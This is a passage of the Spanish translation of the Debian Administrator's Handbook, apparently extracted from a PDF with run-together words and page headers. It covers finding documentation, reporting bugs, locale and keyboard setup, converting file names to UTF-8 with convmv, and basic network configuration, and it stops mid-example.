Es llamado, por supuesto, info y tomacomo parámetro el nombre del «nodo»a consultar. La documentación infotiene una estructura jerárquica y siejecuta info sin parámetros mostraráuna lista de los nodos disponibles en elprimer nivel. Generalmente los nodostienen el nombre del programacorrespondiente.

Page 642: El Libro Del Administrador de Debian - Raphael Hertzog

Los controles de navegación en ladocumentación no son particularmenteintuitivos. El mejor método parafamiliarizarse con el programa esprobablemente ejecutarlo y luegoingresar h (la ayuda, «help») y luegoseguir las instrucciones para aprender através de la práctica. Puede utilizar,alternativamente, un navegador gráficoque es mucho más amigable.Nuevamente, konqueror y yelpfuncionan; info2www también proveeuna interfaz web.

→ http://localhost/cgi-bin/info2www

Note que el sistema info, a diferencia elsistema de páginas man, no permite

Page 643: El Libro Del Administrador de Debian - Raphael Hertzog

traducciones. Los documentos infoestarán, por lo tanto, siempre en inglés.Sin embargo, cuando le pida a info unapágina info que no exista, éste buscarála página de man del mismo nombre (sies que existe) y ésta puede que sí estétraducida.

7.1.3. DocumentaciónespecíficaCada paquete incluye su propiadocumentación. Aún los programasmenos documentados generalmentetienen un archivo README que contieneinformación interesante y/o

Page 644: El Libro Del Administrador de Debian - Raphael Hertzog

importante. Esta documentación seinstala en el directorio/usr/shar/doc/paquete/ (dondepaquete representa el nombre delpaquete). Si la documentación esparticularmente grande puede no estarincluida en el paquete principal delprograma sino que puede haber sidoseparada a un paquete dedicado quegeneralmente es llamado paquete-doc.El paquete principal por lo generalrecomendará el paquete dedocumentación para que puedaencontrarlo fácilmente.

En el directorio/usr/share/doc/paquete/ tambiénhabrá algunos archivos provistos por

Page 645: El Libro Del Administrador de Debian - Raphael Hertzog

Debian que completan ladocumentación especificando lasparticularidades o mejoras del paquetecomparándolo con una instalacióntradicional del software. El archivoREADME.Debian también indica todaslas adaptaciones que se realizaron paracumplir con la Normativa Debian. Elarchivo changelog.Debian.gz lepermite al usuario seguir lasmodificaciones realizadas al paquetecon el tiempo: es muy útil intentarentender lo que cambió entre dosversiones instaladas que no tienen elmismo comportamiento. Por último, aveces habrá un archivoNEWS.Debian.gz que documentará loscambios importantes en el programa

Page 646: El Libro Del Administrador de Debian - Raphael Hertzog

que podrían interesar al administrador.

7.1.4. Sitios webEn la mayoría de los casos, losprogramas de software libre tienensitios web que utilizan para distribuirloy unir la comunidad de susdesarrolladores y usuarios. Estos sitiosgeneralmente están llenos deinformación relevante en variasformas: documentación oficial,preguntas frecuentes (FAQ:«Frequently Asked Questions»),archivos de listas de correo, etc.Generalmente los problemas que puedetener ya han sido objeto de varias

Page 647: El Libro Del Administrador de Debian - Raphael Hertzog

preguntas; las preguntas frecuentes olos archivos de las listas de correospueden tener una solución. Dominar losmotores de búsqueda será invaluablepara encontrar las páginas relevantesrápidamente (restringiendo la búsquedaal dominio o subdominio de internetdedicado al programa). Si la búsquedadevuelve demasiados resultados o éstosno coinciden con lo que desea, puedeagregar la palabra clave debian paralimitar los resultados y apuntar ainformación relevante.

SUGERENCIA Del error a la solución

Si el software devuelve un mensaje deerror muy específico, ingréselo en elmotor de búsqueda (entre comillas

Page 648: El Libro Del Administrador de Debian - Raphael Hertzog

dobles, ", para no buscar palabras claveindividuales sino la frase completa). En lamayoría de los casos, los primerosenlaces devueltos contendrán la respuestaque busca.

En otros casos, obtendrá errores muygenéricos como «permiso denegado». Eneste caso, es mejor revisar los permisos delos elementos involucrados (archivos, IDsde usuario, grupos, etc.).

Si no conoce la dirección del sitio webdel software hay varias formas deobtenerla. Primero, revise si hay uncampo Homepage entre lametainformación del paquete (apt-cache show paquete). La descripcióndel paquete también podría contener un

Page 649: El Libro Del Administrador de Debian - Raphael Hertzog

enlace al sitio oficial del programa. Sino se indica una URL, revise/usr/share/doc/paquete/copyright.El desarrollador Debian generalmenteindica en este archivo de dónde obtuvoel código fuente del programa y esprobable que sea el sitio web quebusca. Si en esta etapa de su búsquedaaún no obtuvo resultados, consulte undirectorio de software libre comoFreecode.com (anteriormenteFreshmeat.net) o Framasoft o busquedirectamente con un motor debúsqueda como Google o Yahoo.

→ http://freecode.com/

→ http://framasoft.org/

Page 650: El Libro Del Administrador de Debian - Raphael Hertzog

También podría desear revisar el wikide Debian, un sitio web colaborativodonde cualquiera, inclusive simplesvisitantes, pueden hacer sugerenciasdirectamente desde sus navegadores.Es utilizado tanto por desarrolladorespara diseñar y especificar sus proyectoscomo por usuarios que comparten suconocimiento escribiendo documentoscolaborativamente.

→ http://wiki.debian.org/

7.1.5. Tutoriales(HOWTO)Un «howto» es un documento que

Page 651: El Libro Del Administrador de Debian - Raphael Hertzog

describe, en términos concretos y pasoa paso, cómo llegar a un objetivopredefinido. Los objetivos cubiertosson relativamente variados perogeneralmente de naturaleza técnica:por ejemplo, configurar «IPMasquerading», instalar un servidorSamba, etc. Estos documentosgeneralmente intentan cubrir todos losproblemas potenciales que podríanocurrir durante la implementación deuna tecnología dada.

El Proyecto de Documentación deLinux (LDP: «Linux DocumentationProject») gestiona muchos de estostutoriales, su sitio web almacena todosestos documentos:

Page 652: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.tldp.org/

Para verlos localmente, simplementeinstale el paquete doc-linux-html.Tendrá disponibles versiones HTML deforma local en el directorio/usr/share/doc/HOWTO/.

Tome estos documentos con un granode sal. Generalmente tiene varios años;la información que contienen a veceses obsoleta. Este fenómeno es aún másfrecuente para sus traducciones ya quelas actualizaciones no son nisistemáticas ni instantáneas luego de lapublicación de nuevas versiones de losdocumentos originales. Esta es parte dela alegría de trabajar en un entorno de

Page 653: El Libro Del Administrador de Debian - Raphael Hertzog

voluntarios y sin limitaciones...

Page 654: El Libro Del Administrador de Debian - Raphael Hertzog

7.2. ProcedimientoscomunesEl propósito de esta sección espresentar algunas sugerenciasgenerales en algunas operaciones queel administrador tendrá que realizarfrecuentemente. Éstos procedimientosobviamente no cubriránexhaustivamente todo caso posiblepero podrían servir como puntos departida para los casos más difíciles.

DESCUBRIMIENTO Documentación enfrancés

Page 655: El Libro Del Administrador de Debian - Raphael Hertzog

Generalmente, la documentacióntraducida a un idioma distinto al inglésestá disponible en un paquete separadocon el nombre del paquetecorrespondiente seguido de -idioma(donde idioma es el código ISO de dosletras para el idioma).

Por lo tanto, el paquete apt-howto-frcontiene la traducción al francés del«howto» para APT. De la misma forma,los paquetes quick-reference-fr y debian-reference-fr (referencia Debian) son lasversiones en francés de las guías dereferencia para Debian (escritas en inglésinicialmente por Osamu Aoki).

7.2.1. Configuración

Page 656: El Libro Del Administrador de Debian - Raphael Hertzog

de un programaCuando desee configurar un paquetedesconocido debe proceder en etapas.Primero debe leer lo que el encargadodel paquete ha documentado. Leer elarchivo/usr/share/doc/paquete/README.Debian

le permitirá aprender sobre las medidasespecíficas tomadas para simplificar eluso del software. A veces es esencialpara poder entender las diferencias conel comportamiento original delprograma según describe ladocumentación en general como los«howto». A veces este archivo tambiéndetalla los errores más comunes paraque pueda evitar desperdiciar tiempo

Page 657: El Libro Del Administrador de Debian - Raphael Hertzog

en problemas comunes.

Luego debería revisar ladocumentación oficial del software —revise la sección anterior paraidentificar las diferentes fuentes dedocumentación existentes. La ordendpkg -L paquete provee una lista delos archivos incluidos en el paquete;puede así identificar rápidamente ladocumentación disponible (así comotambién los archivos de configuraciónubicados en /etc/). dpkg -s paqueteproduce las cabeceras del paquete ymuestra cualquier paqueterecomendado o sugerido; allí podráencontrar la documentación o unaherramienta que facilitará la

Page 658: El Libro Del Administrador de Debian - Raphael Hertzog

configuración del software.

Por último, los archivos deconfiguración usualmente estánautodocumentados con muchoscomentarios explicativos que detallanlos varios valores posibles para cadaparámetro de configuración. Tanto esasí que a veces basta elegir una línea aactivar entre las disponibles. Enalgunos casos se proveen archivos deconfiguración de ejemplo en eldirectorio/usr/share/doc/paquete/examples/.Le pueden servir como base para supropio archivo de configuración.

NORMATIVA DEBIAN Ubicación de los

Page 659: El Libro Del Administrador de Debian - Raphael Hertzog

ejemplos

Todos los ejemplos deben instalarse en eldirectorio/usr/share/doc/paquete/examples/.Éstos pueden ser archivos deconfiguración, código fuente deprogramas (un ejemplo de uso de unabiblioteca) o un script de conversión dedatos que el administrador puede utilizaren algunos casos (como para inicializaruna base de datos). Si el ejemplo esespecífico a una arquitectura debeinstalarse en/usr/lib/paquete/examples/ y debehaber un enlace apuntando a dichoarchivo en el directorio/usr/share/doc/paquete/examples/.

Page 660: El Libro Del Administrador de Debian - Raphael Hertzog

7.2.2. Monitorizar loque hacen losdemoniosUn demonio complica de alguna formael entendimiento de una situación yaque no interactúa directamente con eladministrador. Para revisar si eldemonio está trabajando realmentenecesita probarlo. Por ejemplo, paraverificar el demonio Apache (servidorweb), pruébelo con un pedido HTTP.

Para permitir dichas pruebas cadademonio generalmente graba todo lo

Page 661: El Libro Del Administrador de Debian - Raphael Hertzog

que hace así como también los erroresque encuentra en lo que se llaman«archivos de registro» o «registros desistema». Los registros se almacenanen /var/log/ o alguno de sussubdirectorios. Para saber el nombreexacto del archivo de registro de cadademonio revise su documentación.Note que una sola prueba no siempre essuficiente si no cubre todos los casosde uso posibles; algunos problemassólo ocurren en cirunstanciasparticulares.

HERRAMIENTA El demonio rsyslogd

rsyslogd es especial: recolecta registros(mensajes internos del sistema) que otrosprogramas le envían. Cada entrada de

Page 662: El Libro Del Administrador de Debian - Raphael Hertzog

registro está asociada con un subsistema(correo, núcleo, autenticación, etc.) y unaprioridad, dos trozos de información quersyslogd procesa para decidir qué hacer.El mensaje de registro puede serguardado en varios archivos de registroy/o ser enviado a la consola deadministración. Puede definir los detallesen el archivo de configuración/etc/rsyslog.conf (documentado en lapágina de manual del mismo nombre).

Algunas funciones de C, especializadasen enviar registros, simplifican el uso deldemonio rsyslogd. Sin embargo, algunosdemonios gestionan sus propios archivosde registro (este es el caso de, porejemplo, samba que implementa en Linuxlos recursos compartidos de Windows).

Page 663: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS Demonio

Un demonio es un programa que no esinvocado explícitamente por el usuario yse mantiene en segundo plano esperandoque se cumpla cierta condición pararealizar una tarea. Muchos programas deservidor son demonios, un término queexplica que la letra «d» aparezcafrecuentemente al final de su nombre(sshd, smtpd, httpd, etc.).

Cualquier operación preventivacomienza generalmente por consultarlos registros más relevantes delservidor. Puede así diagnosticarproblemas antes que sean reportadospor usuarios molestos. Los usuarios a

Page 664: El Libro Del Administrador de Debian - Raphael Hertzog

veces esperarán que un problemaocurra en varios días antes dereportarlo. Puede utilizar herramientasespecíficas para analizar el contenidode archivos de registros extensos.Puede encontrar dichas herramientaspara servidores web (como por ejemploanalog, awstats, webalizer paraApache), para servidores FTP, paraservidores proxy/caché, para firewalls,para servidores de correo, paraservidores DNS y aún para servidoresde impresión. Algunas de estasherramientas funcionan de formamodular y permiten analizar variostipos de archivos de registro. Este es elcaso de lire o también modlogan.Otras herramientas, como logcheck (un

Page 665: El Libro Del Administrador de Debian - Raphael Hertzog

software que discutimos en elChapter 14, Seguridad), escanean estosarchivos para buscar alertas a tratar.

7.2.3. Pedir ayuda enuna lista de correoSi sus búsquedas no le ayudaron aencontrar la raíz de un problema esposible conseguir ayuda de otraspersonas, tal vez más experimentadas.Este es el propósito de la lista decorreo <[email protected]>. Como concualquier comunidad, tiene reglas quedebe seguir. Antes de hacer cualquier

Page 666: El Libro Del Administrador de Debian - Raphael Hertzog

pregunta debe revisar si su problema yafue tratado en discusiones recientes enla lista o por cualquier documentaciónoficial.

→ http://wiki.debian.org/DebianMailingLists

→ http://lists.debian.org/debian-user/

SUGERENCIA Leer una lista en la web

Para listas de correo de alto volúmen,como <[email protected]>puede ser útil navegarlas como un foro dediscusión (o grupo de noticias).Gmane.org permite consultar las listas deDebian e este formato. La listamencionada anteriormente estádisponible en:

Page 667: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://dir.gmane.org/gmane.linux.debian.user

VOLVER A LOS CIMIENTOS Aplica la«netiqueta»

En general, para toda correspondencia enlistas de correo se debe seguir las reglasde «netiqueta». Este término se refiere aun conjunto de reglas de sentido comúndesde cortesías comunes a errores que sedeben evitar.

→ http://tools.ietf.org/html/rfc1855

Una vez que cumple estas doscondiciones puede pensar en describirsu problema a la lista de correo.Incluya tanta información relevante

Page 668: El Libro Del Administrador de Debian - Raphael Hertzog

como le sea posible: pruebasrealizadas, documentación consultada,cómo intentó diagnosticar el problema,los paquetes en cuestión o que puedanestar involucrados, etc. Revise elSistema de seguimiento de errores deDebian (BTS, descripto en el recuadroHERRAMIENTA Sistema deseguimiento de errores) por problemassimilares y mencione el resultado dedicha búsqueda proveyendo enlaces alos errores encontrados. El BTScomienza en:

→ http://www.debian.org/Bugs/index.html

Mientras más cortés y preciso sea,mayor será la posibilidad de obtener

Page 669: El Libro Del Administrador de Debian - Raphael Hertzog

una respuesta o, al menos, algunoselementos de respuesta. Si recibeinformación relevante por privado,considere resumir esta informaciónpúblicamente para que otros sebeneficien. Permita que los archivos dela lista, que son buscados por variosmotores de búsqueda, muestren laresolución a otros que pueden tener lamisma pregunta.

7.2.4. Reportando unerror cuando unproblema esdemasiado difícil

Page 670: El Libro Del Administrador de Debian - Raphael Hertzog

Si fallan todos sus esfuerzos deresolver un problema es posible quedicha resolución no sea suresponsabilidad y que el problema sedeba a un error en el programa. En estecaso, el procedimiento adecuado esreportar el error a Debian odirectamente a los autores originales.Para hacerlo, aísle el problema tantocomo sea posible y cree una situaciónde pruebas mínima en la que se lopueda reproducir. Si conoce quéprograma es el aparente culpable delproblema puede encontrar el paquete alque corresponde con dpkg -Sarchivo_en_cuestión. Revise elSistema de seguimiento de errores(http://bugs.debian.org/paquete)

Page 671: El Libro Del Administrador de Debian - Raphael Hertzog

para asegurarse que el error no fuereportado anteriormnete. Luego puedeenviar su propio reporte de errorutilizando la herramienta reportbugincluyendo tanta información como lesea posible, especialmente unadescripción completa de los casos deprueba mínimos que le permitirán acualquiera reproducir el error.

Los elementos de este capítulo son unmedio de resolver efectivamente losinconvenientes con los que se puedeencontrar en los próximos capítulos.¡Utilícelos siempre que lo necesite!

Page 672: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 8. Configuraciónbásica: red,cuentas,impresión...El propósito de un equipo con unainstalación nueva creada con debian-installer es que sea tan funcional comosea posible, pero aún necesitaconfigurar muchos servicios. Lo que esmás, es bueno saber cómo modificarciertos elementos de configuracióndefinidos durante el proceso deinstalación inicial.

Page 673: El Libro Del Administrador de Debian - Raphael Hertzog

Este capítulo revisa todo lo incluido enlo que llamaríamos «configuraciónbásica»: red, idioma y locales, usuariosy grupos, impresión, puntos demontaje, etc.

8.1. Configurar elsistema en otroidiomaSi instaló el sistema utilizando elidioma francés, el equipoprobablemente ya tenga configurado alfrancés como idioma predeterminado.Pero es bueno saber lo que realiza el

Page 674: El Libro Del Administrador de Debian - Raphael Hertzog

instalador al configurar el idioma paraque, luego si lo necesita, puedacambiarlo.

HERRAMIENTA El programa localepara mostrar la configuración actual

El programa locale mostrará un resumende la configuración actual de variosparámetros de la locale (formato de fecha,formato de números, etc.) presentados enforma de un grupo de variables deentorno estándar dedicadas a lamodificación dinámica de éstasconfiguraciones.

8.1.1. Configuración

Page 675: El Libro Del Administrador de Debian - Raphael Hertzog

del idiomapredeterminadoUn locale es un grupo deconfiguraciones regionales. Incluyenno sólo el idioma para el texto, tambiénel formato para mostrar números,fechas, marcas temporales y cantidadesde dinero así como también el métodopara comparación alfabética (paraordenar elementos alfabéticamenteincluyendo caracteres acentuadosdonde corresponda). Aunque puedeespecificar cada uno de estosparámetros independientemente de losdemás, generalmente utilizaremos unlocale que es un conjunto coherente de

Page 676: El Libro Del Administrador de Debian - Raphael Hertzog

valores para estos parámetros quecorresponde con una «región» en elsentido amplio de la palabra.Generalmente se indican los locales enla forma código-idioma_CÓDIGO-PAÍS, a veces con un sufijo que indicaun conjunto de caracteres ycodificación a utilizar. Esto permiteconsiderar diferencias idiomáticas otipográficas entre diferentes regionescon un idioma en común.

CULTURA Juegos de caracteres

Históricamente, cada locale tieneasociado un «conjunto de caracteres»(grupo de caracteres conocidos) y una«codificación» preferida (representacióninterna de los caracteres para el equipo).

Page 677: El Libro Del Administrador de Debian - Raphael Hertzog

Por ejemplo, Francia utilizapreferencialmente la codificación ISO-8859-1 (conocida como «Latin 1»). Peropor razones históricas no incluye ciertoscaracteres (como œ, Ÿ y €). Este problemacausó la creación de ISO-8859-15(conocida como «Latin 9» o inclusive«Latin 0»). Entre otros, reemplazó elsímbolo internacional de moneda anterior(un círculo con cuatro ramas, ¤), «½»,«¼» y «¾» con el símbolo del Euro «€»,«œ» e «Ÿ» respectivamente. Debido a quela codificación de ambos conjuntosutiliza un octeto (8 bits) para cadacarácter, éstos sólo tienen lugar para 256caracteres. Otros idiomas utilizan otrosconjuntos de caracteres u otrascodificaciones, tanto de la familia «Latin»u otras.

Trabajar con idiomas extranjeros

Page 678: El Libro Del Administrador de Debian - Raphael Hertzog

generalmente implica cambios frecuentesentre varias codificaciones y conjuntos decaracteres. Lo que es más, escribirdocumentos en varios idiomas causóproblemas más grandes y casi intratables.Se creó Unicode (un supercatálogo decasi todos los sistemas de escritura detodos los idiomas del mundo) para evitareste problema. Una de las codificacionesde Unicode, UTF-8, mantiene los 128símbolos ASCII (códigos de 7 bits), peromaneja los demás caracteres de formadiferente. Los demás son precedidos poruna secuencia de caracteres de «escape»con longitud variable. Esto permitecodificar todos los caracteres Unicode enuna secuencia de uno o más octetos.

Las aplicaciones migraron lentamente yahora el uso de UTF-8 es generalizado.Esto fue facilitado por el hecho de que

Page 679: El Libro Del Administrador de Debian - Raphael Hertzog

ésta es la codificación estándar de losdocumentos XML. Salvo circunstanciasespecíficas, ésta es la codificación que sedebería utilizar generalmente. Es el valorpredeterminado en instalaciones nuevasdesde Etch.

El paquete locales incluye todos loselementos necesarios para que la«localización» de las aplicacionesfuncione correctamente. Durante suinstalación, este paquete hará unaspocas preguntas para seleccionar losidiomas compatibles. Puede cambiar elconjunto de idiomas compatiblesejecutando dpkg-reconfigure locales.

Primero le pedirá que seleccione las

Page 680: El Libro Del Administrador de Debian - Raphael Hertzog

«locales» a incluir. Seleccionar todaslas locales de inglés (es decir todas lasque comiencen con «en_US») es unaelección razonable. No dude enseleccionar otras locales si la máquinava a ser utilizada por usuariosextranjeros. Se almacenará esta lista delocales conocidas para el sistema en elarchivo /etc/locale.gen. Es posibleeditar este archivo a mano pero deberíaejecutar locale-gen luego de cualquiermodificación. Generará los archivosnecesarios para el funcionamientocorrecto de las locales agregadas yeliminará archivos obsoletos.

La segunda pregunta, titulada«Configurar el locale predeterminado»,

Page 681: El Libro Del Administrador de Debian - Raphael Hertzog

pedirá un locale predeterminado. Laopción recomendada en Estados Unidoses «en_US.UTF-8». Los angloparlantesbritánicos preferirán «en_GB.UTF-8» ylos canadienses preferirán «en_CA-UTF-8» o el francés «fr_CA.UTF-8». Elarchivo /etc/default/locale serámodificado para definir el localepredeterminado para la variable deentorno LANG.

TRAS BAMBALINAS /etc/environment y/etc/default/locale

El archivo /etc/environment provee a losprogramas login, gdm o inclusive ssh lasvariables de entorno correctas a crear.

Estas aplicaciones no crean estasvariables directamente sino que lo hacen

Page 682: El Libro Del Administrador de Debian - Raphael Hertzog

a través de un módulo PAM (pam_env.so).PAM (siglas de «módulo de autenticaciónconectable»: «Pluggable AuthenticationModule») es una biblioteca modular quecentraliza los mecanismos deautenticación, inicialización de la sesióny gestión de contraseñas. Revise laSection 11.7.3.2, “Configuración dePAM” para encontrar un ejemplo deconfiguración de PAM.

El archivo /etc/default/locale funcionade manera similar pero no contiene lavariable de entorno LANG. Esto significaque algunos usuarios PAM heredarán unentorno sin localización. Generalmenteno se recomienda ejecutar demonios conparámetros regionales; por el otro lado, serecomienda utilizar las configuracionesregionales implícitas en programas queabren sesiones de usuario.

Page 683: El Libro Del Administrador de Debian - Raphael Hertzog

8.1.2. Configuracióndel tecladoHasta Debian Lenny, dos sistemasdiferentes controlaban la distribucióndel teclado: para la consola, console-tools/console-data; para entornosgráficos, keyboard-configuration.Desde Squeeze se unificaron estos dossistemas y keyboard-configurationcontrola la distribución del tecladotanto en la consola como en el modográfico. Puede ejecutar dpkg-reconfigure keyboard-configurationpara reinicializar la distribución del

Page 684: El Libro Del Administrador de Debian - Raphael Hertzog

teclado.

Las preguntas son relevantes para ladistribución física del teclado (unteclado de PC estándar en los EstadosUnidos sería «Genérico 104 Teclas»),luego la distribución a utilizar(generalmente «US»), y luego laposición de la tecla AltGr (Altderecho). Finalmente pregunta por latecla a utilizar para «Compose» quepermite ingresar caracteres especialescombinando teclas. Presionarsucesivamente Compose ' e creará unae acentuada («é»). Se describen todasestas combinaciones en el archivo/usr/share/X11/locale/en_US.UTF-

8/Compose (u otro archivo según ellocale actual indicado por

Page 685: El Libro Del Administrador de Debian - Raphael Hertzog

/usr/share/X11/locale/compose.dir

La configuración de teclado para elmodo gráfico aquí descripta sólo afectala distribución predeterminada; losentornos GNOME y KDE, entre otros,proveen un panel de control de tecladoentre sus preferencias que le permite acada usuario tener su propiaconfiguración. Éstos paneles de controltambién proveen algunas opcionesadicionales sobre el comportamientode algunas teclas particulares.

8.1.3. Migración aUTF-8

Page 686: El Libro Del Administrador de Debian - Raphael Hertzog

La generalización de la codificaciónUTF-8 es una solución muy esperada avarias dificultades de interoperabilidadya que facilita intercambiosinternacionales y elimina los límitesarbitrarios de los caracteres que puedenser utilizados en un documento. Laúnica desventaja es que ha tenido quepasar por una etapa de transicióndifícil. Como no puede sercompletamente transparente (es decir,no puede suceder al mismo tiempo entodo el mundo), se necesitaron dosoperaciones de conversión: una en elcontenido de los archivos y otra en losnombres de archivos.Afortunadamente, ya se completó lamayor parte de esta migración y la

Page 687: El Libro Del Administrador de Debian - Raphael Hertzog

discutimos mayormente por cuestionesde referencia.

CULTURA Mojibake y los errores deinterpretación

Cuando se envía (o almacena) un textosin información de codificación elreceptor no siempre puede estar seguro desaber qué convención utilizar paradeterminar el significado de un conjuntode bytes. Usualmente puede tener unaidea obteniendo estadísticas en ladistribución de los valores presentes en eltexto pero esto no siempre da unarespuesta definitiva. Cuando el sistema decodificación elegido para la lectura esdiferente al utilizado para escribir elarchivo se interpretan incorrectamente losbytes y se obtienen, en el mejor caso,

Page 688: El Libro Del Administrador de Debian - Raphael Hertzog

errores en algunos caracteres o, en el peorcaso, algo completamente ilegible.

Por lo tanto, si un texto en francésaparece normal con la excepción de letrasacentuadas y algunos símbolos queaparecerán reemplazados con secuenciasde caracteres como «Ã©» o «Ã¨» o «Ã§»probablemente sea un archivo codificadocon UTF-8 interpretado como ISO-8859-1o ISO-8859-15. Este es signo de unainstalación local que no migró a UTF-8aún. Si, en cambio, observa sígnos deinterrogación en lugar de letrasacentuadas — aún si dichos símbolosparecen reemplazar el carácter queseguiría a la letra acentuada — esprobable que su instalación ya estéconfigurada para UTF-8 y que le enviaronun documento codificado con WesternISO.

Page 689: El Libro Del Administrador de Debian - Raphael Hertzog

Esos son todos los casos «simples». Estoscasos sólo aparecen en la culturaoccidental ya que se diseñó Unicode (yUTF-8) para maximizar los puntoscomunes con codificaciones históricas deidiomas occidentales basados en elalfabeto latino que permite reconocerpartes del texto aún cuando faltanalgunos caracteres.

En configuraciones más complejas que,por ejemplo, involucran dos entornos quecorresponden a dos idiomas diferentesque no utilizan el mismo alfabetogeneralmente obtendrá resultadoscompletamente ilegibles — una serie desímbolos abstractos que no tienen nadaque ver unos con otros. Esto esespecialmente frecuente con idiomasasiáticos debido a sus numerosos idiomasy sistemas de escritura. Se adoptó la

Page 690: El Libro Del Administrador de Debian - Raphael Hertzog

palabra japonesa mojibake para describireste fenómeno. Cuando ocurre, eldiagnóstico es más complejo y la soluciónmás simple generalmente es migrar aUTF-8 en ambos lados.

En cuanto a los nombres de archivos, lamigración puede ser relativamentesimple. Se creó la herramienta convmv(en el paquete del mismo nombre)específicamente con este propósito;permite cambiar el nombre de losarchivos de una codificación a otra. Eluso de esta herramienta esrelativamente simple perorecomendamos realizarlo en dos pasospara evitar sorpresas. El próximoejemplo muestra un entorno UTF-8 que

Page 691: El Libro Del Administrador de Debian - Raphael Hertzog

contiene nombres de directoriocodificados en ISO-8859-15 y utilizaconvmv para cambiarlos.

$ ls trabajo/

?conos Elementos gr?ficos Textos

$ convmv -r -f iso-8859-15 -t utf-8 trabajo/

Starting a dry run without changes...

mv "trabajo/Elementos gr�ficos" "trabajo/Elementos gráficos"mv "trabajo/�conos" "trabajo/Íconos"No changes to your files done. Use --notest to finally rename the files.

$ convmv -r --notest -f iso-8859-15 -t utf-8 trabajo/

mv "trabajo/Elementos gr�ficos" "trabajo/Elementos gráficos"mv "trabajo/�conos" "trabajo/Íconos"Ready!

$ ls trabajo/

Elementos gráficos Íconos Textos

Para el contenido de los archivos, losprocedimientos de conversión son máscomplejos debido a la cantidad de

Page 692: El Libro Del Administrador de Debian - Raphael Hertzog

formatos de archivo existentes.Algunos formatos de archivos incluyeninformación de codificación quefacilita las tareas al software con el quese los trata; es suficiente entonces abrirestos archivos y volver a guardarlosespecificando la condificación UTF-8.En otros casos, debe especificar lacodificación original al abrir el archivo(ISO-8859-1 o «Western», o ISO-8859-15 o «Western (European)» según elcaso).

Para archivos de texto simples puedeutilizar recode (en el paquete delmismo nombre) que permiterecodificación automática. Estaherramienta tiene numerosas opciones

Page 693: El Libro Del Administrador de Debian - Raphael Hertzog

que le permiten alterar sucomportamiento. Le recomendamosconsultar la documentación, la páginade manual recode(1) o la página inforecode (más completa).

Page 694: El Libro Del Administrador de Debian - Raphael Hertzog

8.2. Configuraciónde red

VOLVER A LOS CIMIENTOS Conceptosde red esenciales (Ethernet, direcciónIP, subred, difusión).

La mayoría de las redes modernas localesutilizan el protocolo Ethernet, en el que sedividen los datos en pequeños bloquesllamados marcos («frames») y setransmite en el cable un marco a la vez.La velocidad de datos varía desde 10Mb/s en tarjetas Ethernet antiguas hasta10 Gb/s en las tarjetas más recientes (latasa más común está creciendoactualmente de 100 Mb/s a 1 Gb/s). Los

Page 695: El Libro Del Administrador de Debian - Raphael Hertzog

cables más utilizados son llamados10BASE-T, 100BASE-T, 1000BASE-T o10GBASE-T según su rendimiento quepueden proveer de forma confiable (laletra T es por «par trenzado», «twistedpair» en inglés); éstos cables finalizan enun conector RJ45. Hay otros tipos decables, generalmente utilizados paravelocidades mayores a 1 Gb/s.

Una dirección IP es un número utilizadopara identificar una interfaz de red de unequipo en una red local o Internet. En laversión de IP más utilizada actualmente(IPv4) se codifica este número en 32 bitsy generalmente se lo representa por 4números separados por puntos (porejemplo: 192.168.0.1), cada número entre0 y 255 (inclusive, correspondiendo a 8bits de datos). La siguiente versión delprotocolo, IPv6, extiende este espacio de

Page 696: El Libro Del Administrador de Debian - Raphael Hertzog

direcciones a 128 bits y las direcciones serepresentan generalmente por una seriede números hexadecimales separados pordos puntos (por ejemplo:2001:db8:13bb:0002:0000:0000:0020 osu versión corta 2001:db8:13bb:2::20).

Una máscara de subred (máscara de red)define en su código binario qué porciónde una dirección IP corresponde a la red,el resto especifica el equipo. En elejemplo de configuración de unadirección IPv4 estática dado, la máscarade red 255.255.255.0 (24 «1»s seguidosde 8 «0»s en su representación binaria)indica que los primeros 24 bits de ladirección IP corresponden a la direcciónde red y los otros 8 son específicos a lamáquina. En IPv6, para facilitar la lectura,sólo se expresa la cantidad de «1»s; lamáscara de red para una red IPv6 podría

Page 697: El Libro Del Administrador de Debian - Raphael Hertzog

ser entonces 64.

La dirección de red es una dirección IP enla que la parte describiendo el número deequipo es 0. Generalmente se indica elrango de direcciones IPv4 en una redcompleta con la sintaxis a.b.c.d/e en elque a.b.c.d es la dirección de red y e es lacantidad de bits afectados por la parte dered en una dirección IP. La red de ejemploentonces podría escribirse:192.168.0.0/24. La sintaxis es similar enIPv6: 2001:db8:13bb::/64.

Un enrutador («router») es una máquinaque conecta varias redes entre sí. Se guíatodo el tráfico a través de un enrutador ala red correcta. Para hacerlo, el enrutadoranaliza los paquetes entrantes y losredirecciona según su dirección IP dedestino. Generalmente se conoce al

Page 698: El Libro Del Administrador de Debian - Raphael Hertzog

enrutador como puerta de enlace(«gateway»); en esta configuracióntrabaja como una máquina que ayuda aalcanzar el exterior de la red local (haciauna red extendida, como Internet).

La dirección especial de difusión conectatodas las estaciones en una red. Casinunca es «enrutada», sólo funciona en lared en cuestión. Específicamente,significa que un paquete de datosdireccionado a difusión nunca pasará através del enrutador.

Este capítulo se enfocará en direccionesIPv4 ya que son las utilizadas máscomunmente en la actualidad. Seestudiarán los detalles del protocolo IPv6en la Section 10.5, “IPv6” pero losconceptos se mantienen.

Page 699: El Libro Del Administrador de Debian - Raphael Hertzog

Debido a que se configuraautomáticamente la red durante lainstalación inicial, el archivo/etc/network/interfaces yacontiene una configuración válida. Unalínea que comienza con auto proveeuna lista de las interfaces a configurarautomáticamente durante el arranque.Éstas generalmente incluyen eth0 quese refiere a la primera tarjeta Ethernet.

8.2.1. InterfazEthernetSi el equipo tienen una tarjeta Ethernet,se debe configurar la red a la que está

Page 700: El Libro Del Administrador de Debian - Raphael Hertzog

asociada eligiendo uno de dos métodosposibles. El método más simple esutilizar una configuración dinámicacon DHCP, lo que necesita un servidorDHCP en la red local. Puede indicar unnombre de equipo deseado quecorresponde a la configuraciónhostname en el ejemplo acontinuación. El servidor DHCP luegoenvía la configuración para la redapropiada.

Example 8.1. Configuración DHCP

auto eth0

iface eth0 inet dhcp

hostname arrakis

Una configuración «estática» debe

Page 701: El Libro Del Administrador de Debian - Raphael Hertzog

indicar específicamente los parámetrosde red. Esto incluye al menos ladirección IP y máscara de subred; aveces también se indican lasdirecciones de red y de difusión. Seespecificará un router conectado alexterior como puerta de enlace.

Example 8.2. Configuración estática

auto eth0

iface eth0 inet static

address 192.168.0.3

